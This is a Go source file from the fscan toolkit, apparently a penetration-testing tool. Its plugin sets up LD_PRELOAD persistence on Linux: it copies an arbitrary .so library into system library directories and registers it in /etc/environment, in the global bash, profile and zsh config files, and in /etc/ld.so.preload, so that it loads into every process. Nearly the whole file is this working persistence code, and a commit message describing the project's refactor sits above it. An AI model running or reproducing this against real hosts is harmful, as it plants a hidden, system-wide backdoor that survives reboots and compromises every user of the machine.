Files
fscan/plugins/local/ldpreload.go
T
ZacharyZcR 71b92d4408 feat: v2.1.0 核心重构与功能增强
## 架构重构
- 全局变量消除,迁移至 Config/State 对象
- SMB 插件融合(smb/smb2/smbghost/smbinfo)
- 服务探测重构,实现 Nmap 风格 fallback 机制
- 输出系统重构,TXT 实时刷盘 + 双写机制
- i18n 框架升级至 go-i18n

## 性能优化
- 正则表达式预编译
- 内存优化 map[string]struct{}
- 并发指纹匹配
- SOCKS5 连接复用
- 滑动窗口调度 + 自适应线程池

## 新功能
- Web 管理界面
- 多格式 POC 适配(xray/afrog)
- 增强指纹库(3139条)
- Favicon hash 指纹识别
- 插件选择性编译(Build Tags)
- fscan-lab 靶场环境
- 默认端口扩展(62→133)

## 构建系统
- 添加 no_local tag 支持排除本地插件
- 多版本构建:fscan/fscan-nolocal/fscan-web
- CI 添加 snapshot 模式支持仅测试构建

## Bug 修复
- 修复 120+ 个问题,包括 RDP panic、批量扫描漏报、
  JSON 输出格式、Redis 检测、Context 超时等

## 测试增强
- 单元测试覆盖率 74-100%
- 并发安全测试
- 集成测试(Web/端口/服务/SSH/ICMP)
2026-01-11 20:16:23 +08:00

316 lines
7.6 KiB
Go

//go:build (plugin_ldpreload || !plugin_selective) && linux && !no_local
package local
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
// LDPreloadPlugin LD_PRELOAD持久化插件
// 设计哲学:直接实现,删除过度设计
// - 删除复杂的继承体系
// - 直接实现持久化功能
// - 保持原有功能逻辑
type LDPreloadPlugin struct {
plugins.BasePlugin
}
// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件
func NewLDPreloadPlugin() *LDPreloadPlugin {
return &LDPreloadPlugin{
BasePlugin: plugins.NewBasePlugin("ldpreload"),
}
}
// Scan 执行LD_PRELOAD持久化 - 直接实现
func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
var output strings.Builder
if runtime.GOOS != "linux" {
output.WriteString("LD_PRELOAD持久化只支持Linux平台\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
}
}
// 从config获取配置
targetFile := config.PersistenceTargetFile
if targetFile == "" {
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("未指定目标文件"),
}
}
// 检查目标文件是否存在
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
return &plugins.Result{
Success: false,
Output: output.String(),
Error: err,
}
}
// 检查文件类型
if !p.isValidFile(targetFile) {
output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", targetFile))
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("无效文件类型"),
}
}
output.WriteString("=== LD_PRELOAD持久化 ===\n")
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
var successCount int
// 1. 复制文件到系统目录
systemPath, err := p.copyToSystemPath(targetFile)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err))
} else {
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath))
successCount++
}
// 2. 添加到全局环境变量
err = p.addToEnvironment(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err))
} else {
output.WriteString("✓ 已添加到全局环境变量\n")
successCount++
}
// 3. 添加到shell配置文件
shellConfigs, err := p.addToShellConfigs(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err))
} else {
output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", ")))
successCount++
}
// 4. 创建库配置文件
err = p.createLdConfig(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err))
} else {
output.WriteString("✓ 已创建ld预加载配置\n")
successCount++
}
// 输出统计
output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4))
if successCount > 0 {
common.LogSuccess(i18n.Tr("ldpreload_success", successCount))
}
return &plugins.Result{
Success: successCount > 0,
Output: output.String(),
Error: nil,
}
}
// copyToSystemPath 复制文件到系统目录
func (p *LDPreloadPlugin) copyToSystemPath(targetFile string) (string, error) {
// 选择合适的系统目录
systemDirs := []string{
"/usr/lib/x86_64-linux-gnu",
"/usr/lib64",
"/usr/lib",
"/lib/x86_64-linux-gnu",
"/lib64",
"/lib",
}
var targetDir string
for _, dir := range systemDirs {
if _, err := os.Stat(dir); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("找不到合适的系统库目录")
}
// 生成目标路径
basename := filepath.Base(targetFile)
if !strings.HasPrefix(basename, "lib") {
basename = "lib" + basename
}
if !strings.HasSuffix(basename, ".so") {
basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so"
}
targetPath := filepath.Join(targetDir, basename)
// 复制文件
err := p.copyFile(targetFile, targetPath)
if err != nil {
return "", err
}
// 设置权限
_ = os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件
func (p *LDPreloadPlugin) copyFile(src, dst string) error {
cmd := exec.Command("cp", src, dst)
return cmd.Run()
}
// addToEnvironment 添加到全局环境变量
func (p *LDPreloadPlugin) addToEnvironment(libPath string) error {
envFile := "/etc/environment"
// 读取现有内容
content := ""
if data, err := os.ReadFile(envFile); err == nil {
content = string(data)
}
// 检查是否已存在
ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath)
if strings.Contains(content, libPath) {
return nil // 已存在
}
// 添加新行
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += ldPreloadLine + "\n"
// 写入文件
return os.WriteFile(envFile, []byte(content), 0644)
}
// addToShellConfigs 添加到shell配置文件
func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) {
configFiles := []string{
"/etc/bash.bashrc",
"/etc/profile",
"/etc/zsh/zshrc",
}
ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath)
var modified []string
for _, configFile := range configFiles {
if _, err := os.Stat(configFile); os.IsNotExist(err) {
continue
}
// 读取现有内容
content := ""
if data, err := os.ReadFile(configFile); err == nil {
content = string(data)
}
// 检查是否已存在
if strings.Contains(content, libPath) {
continue
}
// 添加新行
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += ldPreloadLine + "\n"
// 写入文件
if err := os.WriteFile(configFile, []byte(content), 0644); err == nil {
modified = append(modified, configFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何shell配置文件")
}
return modified, nil
}
// createLdConfig 创建ld预加载配置
func (p *LDPreloadPlugin) createLdConfig(libPath string) error {
configFile := "/etc/ld.so.preload"
// 读取现有内容
content := ""
if data, err := os.ReadFile(configFile); err == nil {
content = string(data)
}
// 检查是否已存在
if strings.Contains(content, libPath) {
return nil
}
// 添加新行
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += libPath + "\n"
// 写入文件
return os.WriteFile(configFile, []byte(content), 0644)
}
// isValidFile 检查文件类型
func (p *LDPreloadPlugin) isValidFile(filePath string) bool {
ext := strings.ToLower(filepath.Ext(filePath))
// 检查扩展名
if ext == ".so" || ext == ".elf" {
return true
}
// 检查文件内容(ELF魔数)
file, err := os.Open(filePath)
if err != nil {
return false
}
defer func() { _ = file.Close() }()
header := make([]byte, 4)
if n, err := file.Read(header); err != nil || n < 4 {
return false
}
// ELF魔数: 0x7f 0x45 0x4c 0x46
return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46
}
// 注册插件
func init() {
RegisterLocalPlugin("ldpreload", func() Plugin {
return NewLDPreloadPlugin()
})
}